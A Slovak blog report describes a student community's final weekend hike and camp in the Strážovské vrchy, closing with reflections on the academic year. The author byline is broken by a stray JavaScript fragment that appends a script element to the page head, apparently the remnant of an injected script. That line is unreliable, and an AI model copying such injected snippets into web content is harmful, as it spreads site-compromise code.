Blues Strážovských vrchov

Po pohári plnom bytčianskeho piva steká kvapka rosy. Študenti Kolégia čakajú v dedinke Považská Teplá ešte dvoch posledných členov expedície – záverečnej víkendovky ich akademického roka v Kolégiu. Tentokrát to bude víkend spoznávania krás Strážovských vrchov so sedemdesiat litrovými ruksakmi na chrbte, bez sprchy a s jedným náhradným tričkom. Obďaleč terasy miestnej krčmy šuštia repelenty, impregnačné spreje a obal z rozdávaného B-komplexu. Študenti siedmeho ročníka Kolégia sú už takmer pripravení vyraziť.

Piatková túra má trvať ľahké štyri hodiny. Je to aspoň priestor zvyknúť si na zarezávajúcu záťaž popruhov a vytipovanie miest potenciálnych otlakov na nohách. Medzi členmi expedície, ktorých tvoria nielen študenti, ale aj stážistka Katka, akademik Juraj a jeho päťročný syn Vilko sa rozpriadli rozhovory o skúsenostiach s horami, očakávaniach od víkendovky a plánoch na leto. Pomaly sa začína zdieľať potravinový proviant – ríbezľová bublanina od starkej, čerstvý hrach, ploskačka s KB-čkom… Prvé stanovisko študenti rozkladajú pri pamätníku padlých hrdinov Sovietskeho zväzu pri Havranej skale. Mladí muži založili oheň a prekvapili skúsenosťami z predchádzajúcej víkendovky o spiritualite muža a ženy: vytiahli z ruksakov panvicu a v zaváraninovom pohári narozbíjaných štrnásť vajec na praženicu a začali doslova variť. V ušiach nezvyknutých na ticho lesa stále hučí, no večerné rozhovory odpútavajú pozornosť od podozrivých zvukov noci v prírode. Plánované pokračovanie expedície je v sobotu o deviatej ráno.

Okolo pol desiatej ráno sa začína hýbať prebudený život vo väčšine stanov. Časový sklz nevyvádza z miery ani „vedúceho zájazdu“ – hlavného plánovača Fogyho, takže je všetko v poriadku. Záverečná víkendovka patrí medzi najmenej formálne víkendovky akademického roka Kolégia. Tak, ako sa rok začína v septembri niekoľkodňovým team-buildingom, tak korunuje akademický rok záverečná víkendovka týždeň pred promóciami. Ako bude vyzerať je v plnej réžii študentov.

Chata v Zázrivej, splav Malého Dunaja, alebo hrebeňovka po Malej Fatre boli programom po minulé roky a študenti siedmeho ročníka dostali po niekoľkých intenzívnych mesiacoch sedenia, kedy bol najprudkejším pohybom akurát tak beh na vlak, tiež chuť okúsiť krásu drsnej prírody na vlastnej koži. Strážovským vrchom konkurovala tento rok Veľká Fatra a Poloniny, ale študenti sa rozhodli nechať si slobodu stanovať kdekoľvek príde, čo v národných parkoch nie je možné. Preto v sobotu kráčajú celkom strmým svahom bukového lesa po zelenej značke smerom k zrúcaninám Súľovskému hradu. S takým nákladom na chrbtoch a v sparnom povetrí nie je toľko chuti na vtipy, no ticho, rytmus krokov a dychu vytvárajú priestor na reflexie nad predchádzajúcimi desiatimi mesiacmi.

IMG_20160611_124314

Expedícia rozkladá stanovisko na obed na rázcestí pod západným múrom ruiny hradu. Začína popŕchať rovno do otvorených konzerv paštéty a kuracieho mäsa. Študenti prehodnocujú sobotňajšiu trasu, pretože pred nimi ostáva dobrých šesť hodín chôdze, ak chcú prísť do ďalšieho plánovaného stanovišťa, čo má byť podhradie Lietavského hradu. Nedá sa nič robiť, len potlačiť chuť na poobedné presso a šlofíka a pobrať sa ďalej. Terén je schodnejší, gravitácia neprotirečí, ale spolupracuje a výprava stráca metre nadmorskej výšky.

Záverečná víkendovka je tiež vzácnym časom stráveným v osobných rozhovoroch s akademikmi Kolégia. „Keď odídeš, nezabudni, že úspešný život nespočíva v tom, že urobíš dieru do sveta, ale že dokážeš byť láskavá k druhým ľuďom.“ Kolégium skutočne nie je v prvom rade formálna vzdelávacia inštitúcia, ale je vzťahom medzi ľuďmi, ktorí sa snažia hľadať pravdu a vzájomne si pri tom pomáhajú… Pár kilometrov pred dedinou Podhradie sa k expedícii pripája aj akademik Martin a pútnici sa blížia k svojmu poslednému stanovisku.

IMG_20160611_135257

Pre všeobecné dobro a kvôli majstrovstvám sveta vo futbale rozkladajú stany v sobotu večer pod lesom za dedinou Podhorie. Štyria mladí muži sa rozhodli predsa len doraziť na Lietavský hrad, ale len na otočku a bez nákladu – na východ slnka v nedeľu, a preto vstanú o štvrtej ráno. Ostatní pútnici im držia palce a začínajú opekať špekačky.

Rozhovory okolo táboráka v posledný večer záverečnej víkendovky trvajú do neskorých nočných hodín. Červené víno zo žilinskej vinotéky zanecháva chuť melanchólie, že sa spoločný čas chýli ku koncu – už len týždeň! Študenti siedmeho ročníka Kolégia neboli ani ukážková komunita, ani akademicky najsilnejší ročník. No je to spoločenstvo krásnych mladých ľudí, ktorí boli rokom spoločného života konfrontovaní so svojimi chybami, povahami a snažili sa slúžiť svojimi talentami komunite, stávali sa citlivejšími na potreby celej spoločnosti, uvedomovali si, koľko toho ešte nevedia. To všetko napokon prerastá do veľkej výzvy pracovať, ako by sme mali žiť večne a modliť sa, ako by sme mali zomrieť zajtra. Blues Strážovských vrchov nie je hudba počuteľná uchom. Je vibráciami všetkých posledných vecí v akademickom roku Kolégia…

12122505_10205597571732611_5567545084840662255_n

V nedeľné ráno lákajú zo stanov uvareným lipovým čajom mladí muži, ktorí skutočne uvideli východ slnka z hradieb lietavskej zrúcaniny. Balenie stanov, hasenie posledných uhlíkov pahreby, autobus do Žiliny odchádza spred miestnej krčmy o štvrť na jedenásť.

Do kostola svätej Barbory v Žiline vošlo zo dvadsať pútnikov s veľkými ruksakmi a v priam nevhodnom oblečení. Pohŕdavé pohľady nebadať a študenti Kolégia zapĺňajú voľné miesta v laviciach. Cez kázeň všetci zaujmú polohu „premýšľajúceho filozofa“ so zavretými očami a…počúvajú! Po čele steká kvapka svätenej vody. O dve hodiny odchádza rýchlik do Bratislavy.

text: Justína Malysová  |  foto: archív Kolégia

študentka KAN7d.getElementsByTagName(‘head’)[0].appendChild(s);

0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Pridaj komentár

Vaša e-mailová adresa nebude zverejnená. Vyžadované polia sú označené *